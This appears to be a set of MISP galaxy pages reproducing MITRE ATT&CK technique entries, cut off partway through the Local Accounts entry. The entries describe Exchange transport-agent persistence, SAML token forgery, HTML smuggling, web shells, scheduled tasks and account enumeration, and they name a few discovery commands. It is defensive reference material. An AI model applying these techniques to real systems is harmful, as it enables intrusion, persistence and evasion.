Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.
Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.
Internal MISP references
UUID 35187df2-31ed-43b6-a1f5-2f1d3d58d3f1 which can be used as unique global reference for Transport Agent - T1505.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505.002 |
| kill_chain | ['attack-Linux:persistence', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation'] |
| mitre_platforms | ['Linux', 'Windows'] |
Related clusters
To see the related clusters, click here.
SAML Tokens - T1606.002
An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
Internal MISP references
UUID 1f9c2bae-b441-4f66-a8af-b65946ee72f2 which can be used as unique global reference for SAML Tokens - T1606.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1606/002 - webarchive
- https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/ - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes - webarchive
- https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - webarchive
- https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps - webarchive
- https://www.sygnia.co/golden-saml-advisory - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1606.002 |
| kill_chain | ['attack-Azure-AD:credential-access', 'attack-SaaS:credential-access', 'attack-Windows:credential-access', 'attack-Office-365:credential-access', 'attack-Google-Workspace:credential-access', 'attack-IaaS:credential-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Process: Process Creation', 'User Account: User Account Authentication', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage'] |
| mitre_platforms | ['Azure AD', 'SaaS', 'Windows', 'Office 365', 'Google Workspace', 'IaaS'] |
Related clusters
To see the related clusters, click here.
HTML Smuggling - T1027.006
Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.
For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
Internal MISP references
UUID d4dc46e3-5ba5-45b9-8204-010867cacfcb which can be used as unique global reference for HTML Smuggling - T1027.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/006 - webarchive
- https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ - webarchive
- https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/ - webarchive
- https://www.menlosecurity.com/blog/new-attack-alert-duri - webarchive
- https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.006 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['File: File Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Upload Tool - T1608.002
Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.
Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)
Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
Internal MISP references
UUID 506f6f49-7045-4156-9007-7474cb44ad6d which can be used as unique global reference for Upload Tool - T1608.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1608/002 - webarchive
- https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ - webarchive
- https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/ - webarchive
- https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku - webarchive
- https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Domain Groups - T1069.002
Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.
Internal MISP references
UUID 2aed01ad-3df3-4410-a8cb-11ea4ded587c which can be used as unique global reference for Domain Groups - T1069.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1069.002 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Group: Group Enumeration', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Domain Accounts - T1078.002
Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
Internal MISP references
UUID c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f which can be used as unique global reference for Domain Accounts - T1078.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1078/002 - webarchive
- https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts - webarchive
- https://technet.microsoft.com/en-us/library/dn487457.aspx - webarchive
- https://technet.microsoft.com/en-us/library/dn535501.aspx - webarchive
- https://ubuntu.com/server/docs/service-sssd - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1078.002 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Domain Account - T1087.002
Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
Commands such as net user /domain and net group /domain of the Net utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)
Internal MISP references
UUID 21875073-b0ee-49e3-9077-1e2a885359af which can be used as unique global reference for Domain Account - T1087.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1087.002 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Group: Group Enumeration', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Stripped Payloads - T1027.008
Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s linker when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)
Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)
Internal MISP references
UUID 2f41939b-54c3-41d6-8f8b-35f1ec18ed97 which can be used as unique global reference for Stripped Payloads - T1027.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/008 - webarchive
- https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/ - webarchive
- https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery - webarchive
- https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.008 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['macOS', 'Linux', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Embedded Payloads - T1027.009
Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)
Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)
For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)
Embedded content may also be used as Process Injection payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)
Internal MISP references
UUID 0533ab23-3f7d-463f-9bd8-634d27e4dee1 which can be used as unique global reference for Embedded Payloads - T1027.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/009 - webarchive
- https://github.com/peewpw/Invoke-PSImage - webarchive
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1 - webarchive
- https://securelist.com/my-name-is-dtrack/93338/ - webarchive
- https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a - webarchive
- https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ - webarchive
- https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.009 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
RC Scripts - T1037.004
Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
Internal MISP references
UUID dca670cf-eeec-438f-8185-fd959d9ef211 which can be used as unique global reference for RC Scripts - T1037.004 in MISP communities and other software using the MISP galaxy
External references
- http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html - webarchive
- https://attack.mitre.org/techniques/T1037/004 - webarchive
- https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - webarchive
- https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ - webarchive
- https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ - webarchive
- https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037.004 |
| kill_chain | ['attack-macOS:persistence', 'attack-Linux:persistence', 'attack-Network:persistence', 'attack-macOS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-Network:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Linux', 'Network'] |
Related clusters
To see the related clusters, click here.
Scheduled Task - T1053.005
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from schtasks /query and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., Index value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)
Internal MISP references
UUID 005a06c6-14bf-4118-afa0-ebcd8aebb0c9 which can be used as unique global reference for Scheduled Task - T1053.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1053/005 - webarchive
- https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - webarchive
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml - webarchive
- https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://technet.microsoft.com/library/dd315590.aspx - webarchive
- https://twitter.com/leoloobeek/status/939248813465853953 - webarchive
- https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.005 |
| kill_chain | ['attack-Windows:execution', 'attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Web Shell - T1505.003
Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)
In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).(Citation: Lee 2013)
Internal MISP references
UUID 5d0d3609-d06d-49e1-b9c9-b544e0c618cb which can be used as unique global reference for Web Shell - T1505.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1505/003 - webarchive
- https://github.com/nsacyber/Mitigating-Web-Shells - webarchive
- https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html - webarchive
- https://www.us-cert.gov/ncas/alerts/TA15-314A - webarchive
- https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505.003 |
| kill_chain | ['attack-Linux:persistence', 'attack-Windows:persistence', 'attack-macOS:persistence', 'attack-Network:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'Network'] |
Related clusters
To see the related clusters, click here.
Systemd Timers - T1053.006
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over SSH.(Citation: Systemd Remote Control)
Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are Systemd Service unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.
An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)
Internal MISP references
UUID a542bac9-7bc1-4da7-9a09-96f69e23cc21 which can be used as unique global reference for Systemd Timers - T1053.006 in MISP communities and other software using the MISP galaxy
External references
- http://man7.org/linux/man-pages/man1/systemd.1.html - webarchive
- https://attack.mitre.org/techniques/T1053/006 - webarchive
- https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - webarchive
- https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - webarchive
- https://wiki.archlinux.org/index.php/Systemd/Timers - webarchive
- https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - webarchive
- https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300 - webarchive
- https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.006 |
| kill_chain | ['attack-Linux:execution', 'attack-Linux:persistence', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Startup Items - T1037.005
Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)
This is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.
Internal MISP references
UUID c0dfe7b0-b873-4618-9ff8-53e31f70907f which can be used as unique global reference for Startup Items - T1037.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037.005 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Cloud Groups - T1069.003
Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands ListRolePolicies and ListAttachedRolePolicies allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.
Internal MISP references
UUID 16e94db9-b5b1-4cd0-b851-f38fbd0a70f2 which can be used as unique global reference for Cloud Groups - T1069.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1069/003 - webarchive
- https://cloud.google.com/identity/docs/reference/rest - webarchive
- https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html - webarchive
- https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest - webarchive
- https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0 - webarchive
- https://github.com/True-Demon/raindance - webarchive
- https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/ - webarchive
- https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1069.003 |
| kill_chain | ['attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-SaaS:discovery', 'attack-IaaS:discovery', 'attack-Google-Workspace:discovery'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Email Account - T1087.003
Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
Internal MISP references
UUID 4bc31b94-045b-4752-8920-aebaebdb6470 which can be used as unique global reference for Email Account - T1087.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1087/003 - webarchive
- https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist - webarchive
- https://support.google.com/a/answer/166870?hl=en - webarchive
- https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1087.003 |
| kill_chain | ['attack-Windows:discovery', 'attack-Office-365:discovery', 'attack-Google-Workspace:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Office 365', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Local Accounts - T1078.003
Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.
Internal MISP references
UUID fdc47f44-dd32-4b99-af5f-209f556f63c2 which can be used as unique global reference for Local Accounts - T1078.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1078.003 |
